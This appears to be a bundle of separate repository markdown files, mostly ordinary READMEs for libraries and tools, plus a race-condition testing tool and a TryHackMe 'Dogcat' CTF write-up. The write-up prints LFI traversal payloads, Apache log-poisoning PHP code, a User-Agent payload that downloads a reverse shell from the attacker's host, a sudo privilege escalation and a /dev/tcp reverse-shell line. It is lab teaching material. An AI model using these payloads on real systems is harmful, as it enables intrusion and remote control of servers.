text:
![](http://bnetpi.qiniudn.com/dota2/bg.jpg)
# Dota2
[![](https://travis-ci.org/netpi/dota2.svg?branch=master)](https://travis-ci.org/netpi/dota2)

> a node-plugin for dota2  ;

## GETTING A KEY
First off get a dev key from here, [http://steamcommunity.com/dev/apikey](http://steamcommunity.com/dev/apikey) and login with your Steam account and you will get unique key.

## Installation

```sh
npm install dota --save
```
## Usage

```js
var Dota2Api = require('dota').dota2api;

var key = 'your key'; //Your personal API key (from above)
var language = 'zh_CN';// The language to retrieve results in (default is en_us) (see http://en.wikipedia.org/wiki/ISO_639-1 for the language codes (first two characters) and http://en.wikipedia.org/wiki/List_of_ISO_639-1_codes for the country codes (last two characters))
var format = 'JSON' The format to retrieve results in ("JSON" or "XML")

var dota2api = new Dota2Api(key,language,format)

var config={
  account_id : '232210304',
  matches_requested : 10
}
// to get the latest 10 matches played by person whth 32-bit ID 232210304
dota2api.getMatchHistory(config,function(err,data){
  if(err){
    throw err;
  }else{
    // you will get the result
    console.log(data);
  }
});

```

## About Api

#### getMatchHistory(opt,callback)

sed to get a list of matches played.

##### Available Options
```js
var config {
  hero_id: < id > , // Search for matches with a specific hero being played (hero ID, not name, see HEROES below)
  game_mode: < mode > , // Search for matches of a given mode (see below)
  skill: < skill > , // 0 for fany, 1 for normal, 2 for high, 3 for very high skill (default is 0)
  min_players: < count > , // the minimum number of players required in the match
  account_id: < id > , // Search for all matches for the given user (32-bit or 64-bit steam ID)
  league_id: < id > , // matches for a particular league
  start_at_match_id: < id > , // Start the search at the indicated match id, descending
  matches_requested: < n > , // Maximum is 25 matches (default is 25)
  tournament_games_only: < string > // set to only show tournament games
}
```
```js
  dota2api.getMatchHistory(config, function(err, data) {
    if (err) {
      throw err;
    } else {
      // you will get the result
      console.log(data);
    }
  })

```
#### getMatchDetails(opt,callback)

Used to get detailed information about a specified match.

##### Available options:
```js
var config={
  match_id=<id> // the match's ID
}
```
```js
  dota2api.getMatchDetails(config, function(err, data) {
    if (err) {
      throw err;
    } else {
      // you will get the result
      console.log(data);
    }
  })
```
#### getHeroes(opt,callback)

Used to get an UP-TO-DATE list of heroes.

##### Available Options
```js
var config={
  // nothing ...
  language:'en' // you can also set language just for this request
  format : 'XML' // you can also set format just for this request
}
```
##### Result Field Format:

- heroes - an array of the heroes:
  - name - the hero's in-game "code name"
  - id - the hero's numeric ID
  - localized_name - the hero's text name (language specific result - this field is not present if no language is specified)
- count - the total number of heroes in the list

```js
 dota2api.getHeroes(config, function(err, data) {
    if (err) {
      throw err;
    } else {
      // you will get the result
      console.log(data);
    }
  })
```
#### getLeagueListing(opt,callback)

Used to get a list of the tournament leagues that are available for viewing in the client (i.e. you can buy a ticket to them).
Intended for use in conjunction with GetLiveLeagueGames.

##### Available Options

```js
var config={
  // nothing ...
  language:'en' // you can also set language just for this request
  format : 'XML' // you can also set format just for this request
}
```

```js
 dota2api.getLeagueListing(config, function(err, data) {
    if (err) {
      throw err;
    } else {
      // you will get the result
      console.log(data);
    }
  })
```

#### getLiveLeagueGames(opt,callback)

Used to get a list of the tournament leagues that are available for viewing in the client (i.e. you can buy a ticket to them).
Intended for use in conjunction with GetLiveLeagueGames.

#####Available Options

Common options only (see above) - Note that if no language is specified, the API will return the in-game "string" placeholders for all fields marked with (language specific).

##### Result Field Format:

- leagues - an array of the leagues:
  - name - the league's full name (language specific)
  - leagueid - the league's numeric ID
  - escription - a description of the leauge (language specific)
  - tournament_url - the url of the tournament's home page

```js
 dota2api.getLiveLeagueGames(config, function(err, data) {
    if (err) {
      throw err;
    } else {
      // you will get the result
      console.log(data);
    }
  })
```
#### getMatchHistoryBySequenceNum(opt,callback)

Used to get the matches in the order which they were recorded (i.e. sorted ascending by match_seq_num).
This means that the first match on the first page of results returned by the call will be the very first public mm-match recorded in the stats.

```js
var config={
  start_at_match_seq_num=<id>,
  matches_requested=<n>
}
dota2api.getMatchHistoryBySequenceNum(config, function(err, data) {
    if (err) {
      throw err;
    } else {
      // you will get the result
      console.log(data);
    }
  })
```
## TEST

```sh
make test
```
## License

The MIT license


text:
---
layout: post
title: Dogcat | Writeup
categories: CTF
author: ThelastVvV
date: '2020-07-10 05:00:53 +0000'
tags:
  - CTF
  - CyberSecurity
  - TryHackMe
published: true
---
- [Dogcat](#dogcat)
- [Enumeration](#enumeration)
- [Exploitation](#exploitation)
- [Reverse shell](#reverse-shell)
- [Privilege Escalation:](#privilege-escalation)
- [4th Flag](#4th-flag)

<!-- toc -->

### Dogcat
Hallå gubbar , this my first ctf write-up i will try my best to make it easy for you so this box is webapp with lfi vulnerability and more the goal is to get 4 flags for more info check it out THM - DogCat

1 - Enumeration
2 - Exploitation
3- Reverse shell
4 - Privilege Escalation
5 - Flag 4

### Enumeration

Nmap scan & Results:
```sh
nmap -sV -p- -vv BoxIP
```

`22/tcp open ssh`
`80/tcp open http`

`Port 80` is open so we got web-server check the web page at
```sh
http://box-ip
```
![alt text](https://thelastvvv.github.io/images/posts/3/main.png "THM")
so let check lfi playloads
```sh
http://box-ip/?view=../../../../../../etc/passwd
```
We get the following message

Sorry,only dogs or cats are allowed

So we need to use dog /cat keyword
```sh
http://box-ip/?view=dog../../../../../../etc/passwd
```

`Warning : include(dog../../../../../../etc/passwd.php):failed to open stream....`

so we can read /etc/passwd now we need to bypass it by stooping including php extension to passwd

in this case we will need a meta-wrapper that allows the application of filters to stream at time of the opening.

More info here
[https://www.php.net/manual/en/wrappers.php.php](https://www.php.net/manual/en/wrappers.php.php)
[https://www.w3schools.com/php/php_filter.asp](https://www.w3schools.com/php/php_filter.asp)

```sh
http://box-ip/?view=php://filter/convert.base64-encode/resource=index
```

decoded using CyberChef

```php
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>

echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
```
we have an other parameter `ext` that we can use it ,let try it
```sh
http://box-ip//?view=php://filter/resource=dog../../../../../../etc/passwd&ext=
```
now we need to do some lfi to rce trick to get in using log poisonning our box runs on Apache so log dir should be here
```sh
var/log/apache2/access.log
```
```sh
http://box-ip/?view=php://filter/resource=dog../../../../../../var/log/apache2/access.log&ext=
```
we can see some user-agent request registered in the logs ;)

### Exploitation

BURP TIMEEEEEE!!!! let intercept and inject our payload via user-agent data:D
Request:
```sh
GET /?view=php://filter/resource=dog../../../../../../var/log/apache2/access.log&ext= HTTP/1.1
Host: box-ip
User-Agent: <?php system($_GET['cmd']);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
Cache-Control: max-age=0
```
Reponse:
```sh
HTTP/1.1 200 OK
Date: Thu, 09 Jul 2020 18:54:37 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.3
Vary: Accept-Encoding
Content-Length: 6769
Connection: close
Content-Type: text/html; charset=UTF-8
```

*  First FLAG
```SH
http://box-ip/?view=php://filter/resource=dog../../../../../../var/log/apache2/access.log&ext=&cmd=ls
```
```sh
cats
dog.php
dogs
flag.php
index.php
shell.php
style.css
```
```sh
http://box-ip//?view=php://filter/convert.base64-encode/resource=dog../../flag
```

decoded using
[https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)

### Reverse shell

What we need ?

1. Download Reverse shell
2. Launch http server
3. Pop up the shell

1. Download Reverse shell
get any shell my fav for ctf "pentestmonkey"
[Reverse shell php](https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
)

2. launch http server
```sh
python -m SimpleHTTPServer 1111
```

MAKE SURE TO EDIT THE SHELL AND REMEMBER THE LOCATION
`1111 PORT` U CAN CHANGE IT

I rename  the shell to Monkey and the location of the shell  is on the desktop.
```sh
http://Your-ip:1111/Desktop/Monkey.php
```
3. Pop up shell

Burp again !
```SH
Request:

GET /?view=php://filter/resource=dog../../../../../../var/log/apache2/access.log&ext= HTTP/1.1
Host: box-ip
User-Agent: <?php file_put_contents('shell.php', file_get_contents('http://Your-ip:1111/Desktop/Monkey.php'))?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
```
Reponse:
```sh
HTTP/1.1 200 OK
Date: Thu, 09 Jul 2020 19:22:45 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.3
Vary: Accept-Encoding
Content-Length: 16687
Connection: close
Content-Type: text/html; charset=UTF-8
```

http server confirmation:
```sh
Your-ip - - [09/Jul/2020 15:26:09] "GET /Desktop/Monkey.php HTTP/1.0" 200 -
```

Now we start listening to port (depend on you shell settings)
```sh
nc -lvnp 1234
```
![alt text](https://thelastvvv.github.io/images/posts/3/t1.png "THM")

* 2nd flag:

![alt text](https://thelastvvv.github.io/images/posts/3/t2.png "THM")

### Privilege Escalation:

* 3th Flag
So now we need to be root we will use this command
```sh
sudo env /bin/bash
```
More details here :

[https://gtfobins.github.io/gtfobins/env/
](https://gtfobins.github.io/gtfobins/env/
)

![alt text](https://thelastvvv.github.io/images/posts/3/t3.png "THM")

### 4th Flag
if we search in the backups dir we will find backup.sh that runs every-time,so now we need to edit this backupfile to reverse shell and bypass the docker-container using this command
```sh
echo "#!/bin/bash" > backup.sh;echo "bash -i >& /dev/tcp/ip/Your-IP/port 0>&1" >> backup.sh
```

![alt text](https://thelastvvv.github.io/images/posts/3/ttt2.jpg "THM")

Now we start listening to port
```sh
nc -lvnp 9999
```
![alt text](https://thelastvvv.github.io/images/posts/3/ttt4.png "THM")

voila we got all our 4 flags btw flags looks like this `THM{xx_xx_xx}` :P

See you next time .....

license: MIT

branch_name: refs/heads/master

extension: md

license_type: permissive


text:
---
layout: default
---

# 1992-11-17 - Re: Rander box and other stuff

## Header Data

From: George A. Gleason<EMAIL_ADDRESS>To<EMAIL_ADDRESS>Message Hash: fca6246762b691b33aad1dad0d5629b515c7001592aef0b10fca56fd6da540ee

Message ID<EMAIL_ADDRESS>Reply To: _N/A_

UTC Datetime: 1992-11-17 08:50:35 UTC

Raw Date: Tue, 17 Nov 92 00:50:35 PST

## Raw message

```
{% raw  %}From: George A. Gleason<EMAIL_ADDRESS>Date: Tue, 17 Nov 92 00:50:35 PST
To<EMAIL_ADDRESS>Subject: Re: Rander box and other stuff
Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

Eric (Hollander; my last post was to Eric Hughes)-

Your "small laptop with (goodies)" was EXACTLY what we were trying to go for
in 1983/84.  This was the "Cryptex CS-3" project.  Remember that there was
no such thing as a laptop at the time.  What I was proposing was a
self-contained portable encryption terminal.  It would have measured about a
foot wide by 10" long by about 2-3" thick, had an LCD for about six to eight
lines of text at a time, two 3-1/2" FDDs, a pair of sockets for "Codepacks"
(hardware key storage devices which would have been tamper-resistant and
password protected), a good quality keyboard, a modem with modular jack and
optional acoustic couplers (for payphones: low-tech anonymity)... the
Tempest feature would have been achieved by putting 100dB of white noise on
the metal housing, which would have been imperfect but decent enough.  There
was no plan for a hard drive; the operating software would have been a
simple line editor and the crypto routines, all burned into ROM and part of
the main processor board.  No plans for thermite linings at the time either,
though we did have a password routine with a duress option, which would have
erased anything on the FDDs or the Codepacks.

My first intended market for this thing was the political dissident
community, where communication has always suffered to a small but noticeable
degree by the "we can't talk on the phone" factor.  It never got going
because the market was too small.  Now it would seem the time has definitely
come... though whatever ultimately arises out of the cypherpunk scene will
be many many times more sophisticated and versatile.

-gg

{% endraw %}
```

## Thread

+ Return to [November 1992](/archive/1992/11)

+ Return to "[Eric Hollander <hh@soda.berkeley.edu>](/authors/eric_hollander_hh_at_soda_berkeley_edu_)"
+ Return to "[George A. Gleason <gg@well.sf.ca.us>](/authors/george_a_gleason_gg_at_well_sf_ca_us_)"
+ Return to "["Mark W. Eichin" <eichin@cygnus.com>](/authors/mark_w_eichin_eichin_at_cygnus_com_)"
+ Return to<EMAIL_ADDRESS>(Paul Rubin)](/authors/phr_at_napa_telebit_com_paul_rubin_)"

+ 1992-11-17 (Tue, 17 Nov 92 00:50:35 PST) - Re: Rander box and other stuff - _George A. Gleason<EMAIL_ADDRESS>  + 1992-11-18 (Tue, 17 Nov 92 16:37:25 PST) - [Re: Rander box and other stuff](/archive/1992/11/0c1ae225efff01f5ee34fcc8b305c3b587c51d7d8eae28d8f50baa5ee68fd7ab) - _Eric Hollander<EMAIL_ADDRESS>    + 1992-11-18 (Tue, 17 Nov 92 16:58:34 PST) - [re: Rander box and other stuff](/archive/1992/11/1324257ace2cbf4cb233335e35d24a4f5b87fadd602256e5d9cc288ef8ffb8ce) - _"Mark W. Eichin"<EMAIL_ADDRESS>      + 1992-11-18 (Tue, 17 Nov 92 17:22:27 PST) - [Rander box and other stuff](/archive/1992/11/e02f6c106d222499a03ea6d6dafc820bb3be9ac65b46226596e35f2d7f2804e6) -<EMAIL_ADDRESS>(Paul Rubin)_

gha_license_id: MIT


text:
# DerbyJS TodoMVC Example

> DerbyJS is a full-stack framework for writing modern web applications. DerbyJS is ideally suited for server-only HTML rendering, client-only DOM rendering, and fully integrated server and client rendering. The examples shows off the full-stack version including realtime synced server and client.

> _[DerbyJS - derbyjs.com](http://derbyjs.com)_

## Learning DerbyJS

Get started and find more links on the [DerbyJS website](http://derbyjs.com).

_If you have other helpful links to share, or find any of the links above no longer work, please [let us know](https://github.com/tastejs/todomvc/issues)._

## Installation

To install, clone TodoMVC from GitHub, then in the /examples/derby folder, run:

```
npm install
npm start
```

repository: georules/todomvc

repo_name: georules/todomvc


text:
hash.route.js, a simple and flexible routing system.

Setting up hash route listeners and different matching rules:
====

[![Gitter](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/MiguelCastillo/hash.route.js?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)

1) Empty match.

``` javascript
// Match empty route
hash("").on("change", function(evt) {
  console.log(arguments);
});
```

2) Exact match.

Will match exact urls.  E.g.

``` javascript
// home, will match
// /home/, will match.  Notice the slashes don't affect pattern matching.
// home/sweet, will not match
hash("home").on("change", function(evt) {
  console.log(arguments);
});
```

3) Exact match with slashes.

``` javascript
// home, will not match
// home/, will match.
// home/sweet, will not match
hash("home/").on("change", function(evt) {
  console.log(arguments);
});
```

4) : parameter values.

Will match the url patterns, extracting and returning the parameter values. E.g.

``` javascript
// home/u21/age -> val1 = 21, val2 = age
hash("home/u:val1/:val2").on("change", function(evt, val1, val2) {
  console.log(arguments);
});
```

5) *: optional parameter values.

Will match patterns returning whatever parameters are found. If a paramter isn't found, the match will be successful but the unmatched data is omitted. E.g.

``` javascript
// home -> val1 = "", val2 = ""
// home/umagic -> val1 = "magic", val2 = ""
// home/umagic/books -> val1 = "magic", val2 = "books"
hash("home/*u:val1/*:val2").on("change", function(evt) {
  console.log(arguments);
});
```

6) **: whole parameter value.

Will return the entire matched paramater. E.g.

``` javascript
// home -> val1 = "", val2 = ""
// home/magic -> val1 = "magic"
// home/magic/books -> val1 = "magic/books"
hash("home/**:val1").on("change", function(evt, val1) {
  console.log(arguments);
});
```

7) /** Wild card

Will match anything, and omit any wild card matched values.

``` javascript
hash("home/**").on("change", function(evt) {
  console.log(arguments);
});
```

A more ellaborate wild card that has a starting exact match and returns the last parameter in the url.

``` javascript
// home/test -> val1 = test
// home/test/candy -> val1 = candy
// home/test/candy/coffee -> val1 = coffee
hash("home/**/:val1").on("change", function(evt) {
  console.log(arguments);
});
```

What events are available?
====

Events that are triggered are:

enter which happens when a route pattern is matched for the firts time.

change which happens when an already matched route pattern changes to a different value that still matches the pattern.

leave which happens when a currently matched pattern changes to a value that no longer matches the route pattern.  This is useful for coordinating house keeping.

How do events work?
====

When route listeners for enter and change are registered, logic for matching the route pattern is executed.  If a match occurs, the newly resgistered enter or change handler will get an event of type init with the correspoding matching results.  Any further changes that still match the pattern will trigger a change event.  When a route transitions from matching to not matching, a leave event is triggered, which is generally a good spot to ungerister listeners and/or do any necessary clean up work.

Install
===============
``` shell
bower install hash.route
```
Or just get directly from git

gha_language: JavaScript


text:
![Swift](https://github.com/gshahbazian/SwiftGumbo/workflows/Swift/badge.svg)

# SwiftGumbo

A Swift wrapper and CSS like query library for the [gumbo-parser](https://github.com/google/gumbo-parser) HTML library. Query selection functionality is a Swift port of [lazytiger/gumbo-query](https://github.com/lazytiger/gumbo-query). See `SwiftGumboTests.swift` for supported selectors.

Source for gumbo-parser is the [lua-gumbo](https://github.com/craigbarnes/lua-gumbo) fork which contains several [bug fixes](https://github.com/craigbarnes/lua-gumbo/tree/0344e17eb0811583480151648ed307f79a8a38ac/lib).

repository: gshahbazian/SwiftGumbo

gha_language: Swift

repo_name: gshahbazian/SwiftGumbo


text:
[![Build Status](https://travis-ci.org/philcockfield/new-file.svg?branch=master)](https://travis-ci.org/philcockfield/new-file)
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)

![Title](https://cloud.githubusercontent.com/assets/185555/25560728/018b33d8-2db0-11e7-8f37-2e1f7ba6e8a6.png)

Super simple file templates, no fuss, just the way you like them.

![Video](https://user-images.githubusercontent.com/185555/41954049-3f4e20f2-7a2d-11e8-92a1-8b6cc2a6950d.gif)

## Install

    npm install -g new-file

## .template.yml

Create folders that contain the files that make up your template.

Include a `.template.yml` file within the folder defining the template and `variable` parameters to insert into the files:

```yaml
# .template.yml

name: React Component (TSX)
folder: NAME
install: true # Optionally `{yarn|npm} install` on the folder (default: false).
variables:
  NAME: Component name
  DESCRIPTION: Description
  NAMESPACE: Storybook namespace
```

The folder `NAME` is taken as a parameter from the command line. Each variable key (eg `NAME`, `DESCRIPTION`, `NAMESPACE`) is inserted into the files where the variable name is surrunded by double `__`, eg:

```tsx
export class __NAME__ extends React.Component<I__NAME__Props> {
  public render() {
    return <div>__NAME__</div>;
  }
}
```

## .templates.yml

Place an index in some containing folder where want the templates to be accessible via the command-line from, eg:

```yaml
# .templates.yml

templateDirs:
  - code/templates/*/
  - helpers/my-other-templates/*/
```

## package.json
If you are creating a template that contains a `package.json` file within it, you can use the special `__LATEST__` version value for dependencies.  The generator will retrieve the latest version of the module from NPM and insert it.

```json
{
  "name": "__NAME__",
  "version": "0.0.0",
  "dependencies": {
    "ramda": "__LATEST__"
  },
  "devDependencies": {
    "electron": "__LATEST__",
  },
}
```

NOTE: If you are already using `LATEST` as a variable name, your variable name will override this feature.

repository: philcockfield/new-file

gha_language: TypeScript

repo_name: philcockfield/new-file


text:
Skid Marks: Check for runs in sequences
---------------------------------------

  Q: how do you check for runs?

  A: look for skidmarks.

This module implements some functions to check a sequence for randomness.
in some cases, it is assumed to be a binary sequence (not only 1's and 0's
but containing only 2 distinct values).
Any feedback, improvements, additions are welcomed.

    >>> from skidmarks import gap_test, wald_wolfowitz, auto_correlation, serial_test

Wald-Wolfowitz
--------------

http://en.wikipedia.org/wiki/Wald-Wolfowitz\_runs\_test

http://support.sas.com/kb/33/092.html

    >>> r = wald_wolfowitz('1000001')
    >>> r['n_runs'] # should be 3, because 1, 0, 1
    3

    >>> r['p'] < 0.05 # not < 0.05 evidence to reject Ho of random sequence
    False

this should show significance for non-randomness

    >>> li = [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]
    >>> wald_wolfowitz(li)['p'] < 0.05
    True

Autocorrelation
---------------

    >>> result = auto_correlation('00000001111111111100000000')
    >>> result['p'] < 0.05
    True

    >>> result['auto_correlation']
    0.83766233766233755

Serial Test
-----------

http://books.google.com/books?id=EIbxfCGfzgcC&lpg=PA141&ots=o-8ymmqbs9&pg=PA142#v=onepage&q=&f=false

    >>> serial_test('101010101111000')
    {'chi': 1.4285714285714286, 'p': 0.69885130769248427}

    >>> serial_test('110000000000000111111111111')
    {'chi': 18.615384615384617, 'p': 0.00032831021826061683}

Gap Test
--------

http://books.google.com/books?id=EIbxfCGfzgcC&lpg=PA141&ots=o-8ymmqbs9&pg=PA142#v=onepage&q=&f=false

    >>> gap_test('100020001200000')
    {'chi':<PHONE_NUMBER>9855379, 'item': '1', 'p': 0.0}

    >>> gap_test('101010111101000')
    {'chi': 11.684911193438811, 'item': '1', 'p': 0.23166089118674466}

gap\_test() will default to looking for gaps between the first value in
the sequence (in this case '1') and each later occurrence. use the `item`
kwarg to specify another value.

    >>> gap_test('101010111101000', item='0')
    {'chi': 11.028667632612191, 'item': '0', 'p': 0.27374903509732523}

repository: brentp/skidmarks

gha_language: Python

repo_name: brentp/skidmarks


text:
# CompuRacer CLI toolset
The CompuRacer toolset for detection and exploitation of race conditions in web apps from a black-box perspective [1](#f1). It integrates with the popular Burp Suite, and the browsers Firefox and Chrome to receive HTTP requests of interest. These requests are then sent to the core application. In the core application, these requests can be forwarded to the target web app to trigger a race condition. Responses from the web app are aggregated and shown to the tester for quick verification of success. This README shows how to install, setup and run the CompuRacer toolset.

The toolset can be split in three separate parts: Core application in `CompuRacerCore`, Burp extension in `CompuRacerExtensionBurp` and browser extensions (Chrome & Firefox) in `CompuRacerExtensionChrome` and `CompuRacerExtensionFirefox`. The `TestWebAppVouchers` folder contains a Flask test web app for voucher redemption that contains race conditions.

## Recommended software versions
The toolset has been tested with Python 3.7, Firefox v. 65, Chrome v. 72, Burp Suite Professional v1.7.37 and Vagrant 2.1.5. It is run on a MacBook Pro (late 2013) running macOS High Sierra. Every individual tool is expected to be compatible with Linux and Windows as well, but this is not tested. The plugin is also expected to work in Burp Suite CE.

## Installation
#### Clone the repository
`$ git clone https://github.com/rvemous/CompuRacer`
#### Install CompuRacer Core dependencies
* Go to the [`CompuRacer_Core/`](CompuRacer_Core/) folder.
* Run: `$ pip install -r requirements.txt`
#### Install CompuRacer Firefox extension

Firefox does not support adding extensions permanently if they are not signed by Mozilla. You can add it temporarily (until the next restart), using the following method:
* In Firefox, go to: Settings > Add-ons.
* Click the gear icon and select: `Debug Add-ons`.
* Go the [`CompuRacer_Extensions/Browser/Firefox/`](CompuRacer_Extensions/Browser/Firefox/) folder and select: `manifest.json`.
#### Install CompuRacer Chrome extension

Note that due to recent changes in Chrome (after version 71), this extension will no longer send most of the headers to the CompuRacer. Therefore, in any authenticated session, it no longer works. You can add the extension using the following method:
* In Chrome, go to: Settings > More Tools > Extensions.
* Click: `Load unpacked`.
* Select the [`CompuRacer_Extensions/Browser/Chrome/`](CompuRacer_Extensions/Browser/Chrome/) folder.
#### Install CompuRacer Burp Suite extension
* In the Burp Suite, go to: Extender > Add.
* Select `Python` as the extension type.
* Go to the [`CompuRacer_Extensions/Burp/`](CompuRacer_Extensions/Burp/) folder and select: `compu_racer_extension_burp.py`.
* Click 'next' and after loading the extension, close the window.
#### Install test web app for voucher redemption
* In a terminal, go to the [`TestWebAppVouchers/app/`](TestWebAppVouchers/app/) folder.
* Run the following command: `vagrant up`.

## Configuration
The Firefox, Chrome, Burp Suite extensions and test web app do not need any configuration and are ready to use. The Computest Core will create the necessary folders and settings-files on the first startup. Make sure it has full read/write access rights in this folder.

## Running
The Firefox, Chrome, Burp Suite extensions and test web app are already started after the install. The Computest Core can be started by running the following command within the `CompuRacer_Core` folder:

`$ python3 main.py`

## How to use
An elaborate manual on how to use the toolset can be found in [`CompuRacer_Manual.pdf`](CompuRacer_Manual.pdf).

## Troubleshooting
All extensions can be reloaded (or re-installed) if they stop working for one reason or another. All platforms support some form of (live) debugging of extensions. Report any found issues (and solutions) and these will be added here.

### References
1: The toolset is a result of the master thesis "Towards Systematic Black-Box Testing for Exploitable Race Conditions in Web Apps" [↩](#a1)


text:
# Workshell PE Class Library

[![License](https://img.shields.io/github/license/mashape/apistatus.svg)](https://github.com/Workshell/pe/blob/master/license.txt)
[![NuGet](https://img.shields.io/nuget/v/Workshell.PE.svg)](https://www.nuget.org/packages/Workshell.PE/)
[![Build Status](https://dev.azure.com/Workshell-DevOps/pe/_apis/build/status/Build%20Master?branchName=master)](https://dev.azure.com/Workshell-DevOps/pe/_build/latest?definitionId=2&branchName=master)

This is a class library for reading the Portable Executable file format convering all the major data sections including:

* Core Headers (DOS, File, Optional)
* Section Table
* Debug Directory
* Relocations
* Imports
* Delayed Imports
* Exports
* Resources
* TLS
* Load Configuration
* Certificates
* .NET

For help getting started please see the wiki. Any suggestions for improvements and ideas welcome.

## Installation

Stable builds are available as NuGet packages. You can install it via the Package Manager or via the Package Manager Console:

```
Install-Package Workshell.PE
Install-Package Workshell.PE.Resources
```

## Basic Usage

You begin by calling `PortableExecutableImage.FromFileAsync(string)` to load the executable image, such as:

```
var image = await PortableExecutableImage.FromFileAsync("user32.dll");
```

You can then retireve information from the image. Some information is retrieved in a direct manor, like a lot of the core
header information, for example:

```
var imageBase = image.NTHeaders.OptionalHeader.ImageBase;
```

And some information is indirect via classes that work on the image. If you wanted all the exports for example:

```
var exports = await Exports.GetAsync(image);
```

You can then iterate each export:

```
foreach(var export in exports)
{
    Console.WriteLine(export.Name);
}
```

At present there is no real documentation so the best option is to explore the source code and experiment!

If you have questions please do get in touch we're always happy to help.

## MIT License

Copyright (c) Workshell Ltd

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

 IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

repository: Workshell/pe

gha_language: C#

repo_name: Workshell/pe


text:
# StochasticArithmetic

It is relatively well known in the scientific computing community that the use
of finite-precision floating-point (FP) computations (as opposed to computations
with real, infinite-precision numbers) can be the source of quality losses in
the computed results.

Stochastic Arithmetic is one of many ways which can be used to diagnose
FP-related problems. In standard IEEE-754-compliant Floating-Point Arithmetic,
the result of each floating-point operation is rounded to the nearest
representable floating-point value. When some floating-point operations produce
results which are not representable as floating-point values (as is the case,
for example of 1/3 in base 10, or 1/10 in binary representations), some
information is lost during this rounding operation. Stochastic Arithmetic models
this loss of accuracy using random variables.

More precisely, this package implements the CESTAC arithmetic [Jean Vignes and
Michel La Porte. Error Analysis in Computing, 1974] in which the result of each
FP operation $x\circ y$ is replaced with

```math
\bigcirc_{\text{rnd}}(x,y) = \left|\begin{array}{ll} \bigtriangledown(x\circ y)
& \text{with probability $\displaystyle\frac12$}, \\[1em]
\bigtriangleup(x\circ y) & \text{with
probability $\displaystyle\frac12$}, \end{array}\right.
```

where for any real value $a\in\mathbb{R}$, $\bigtriangleup(a)$ and
$\bigtriangledown(a)$ respectively denote its upward- and downward-rounded
floating-point values.

Operations in this package do not rely on changing the hardware rounding mode,
since this can be vey inefficient. Instead, the implementation proposed here
follows the same overall design as the
[Verrou](http://github.com/edf-hpc/verrou) tool: [Error-Free
Transformations](@ref eft) are used to efficiently simulate directed [rounding
modes](@ref rounding). New stochastic Floating-Point [types](@ref sfloat) rely on this to model
regular FP numbers, on which arithmetic operations get randomly rounded upwards
or downwards.

gha_language: Jupyter Notebook

gha_license_id: NOASSERTION


text:
## Current Time / System Time Zone

Julia provides the `now()` method to retrieve your current system's time as a `DateTime`. The TimeZones.jl package provides an additional method to the `now` function providing the current time as a `ZonedDateTime`:

```julia
now(tz"Europe/Warsaw")
```

To get the `TimeZone` currently specified on you system you can use `localzone()`. Combining this method with the new `now` method produces the current system time in the current system's time zone:

```julia
now(localzone())
```


text:
[![GitHub issues](https://img.shields.io/github/issues/amongservers/plugin.svg?style=flat-square)](https://github.com/plugin/api/issues)
[![GitHub stars](https://img.shields.io/github/stars/amongservers/plugin.svg?style=flat-square)](https://github.com/plugin/api/stargazers)
[![GitHub forks](https://img.shields.io/github/forks/amongservers/plugin.svg?style=flat-square)](https://github.com/plugin/api/network)

# plugin
The plugin used to send heartbeats to the API.

## Getting started
All you need to do to register your server with Among Servers is download the latest release DLL and add it to a folder titled "plugins" inside your Impostor server directory.

When you start your server you should see a message of "Enabled Among Servers Plugin" - this confirms your server has the plugin is correctly installed.

## Add a name to your server
Inside the config.jons file for your Impostoer server, under "Server" section you can add a new field called "Name" and add any name you would like for your server. The maximum length accepted is 128 characters.

## Contributing

Any pull requests or bug reports are welcome, please try and keep to the existing style conventions and comment any additions.

repository: amongservers/plugin

branch_name: refs/heads/main

repo_name: amongservers/plugin


text:
# Changelog

All notable changes to this project will be documented in this file. This project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [1.2.1] - 23. Feb 2021

### Bugfixes

-   Make controls for RTE sticky
-   Use mui-grey-palette for default colors
-   Remove min-width of link buttons (MuiButtonGroup)

### Internal Changes

-   switched from yarn to npm 7 (updated all dependencies)

## [1.2.0] - 22. Jan 2021

### Highlights

-   Add default styles (MUI) to built-in blocktypes
-   Make built-in blocktypes styleable
-   Supports disabled-attribute

### Internal Changes

-   Rename prop-name "customBlockMap" to "blocktypeMap", deprecate prop-name "customBlockMap"
-   Rename prop-name "Icon" to "icon", deprecate prop-name "Icon"

## [1.1.1] - 12. Jan 2021 - re-release under new name

This package has been renamed to @comet/admin-rte

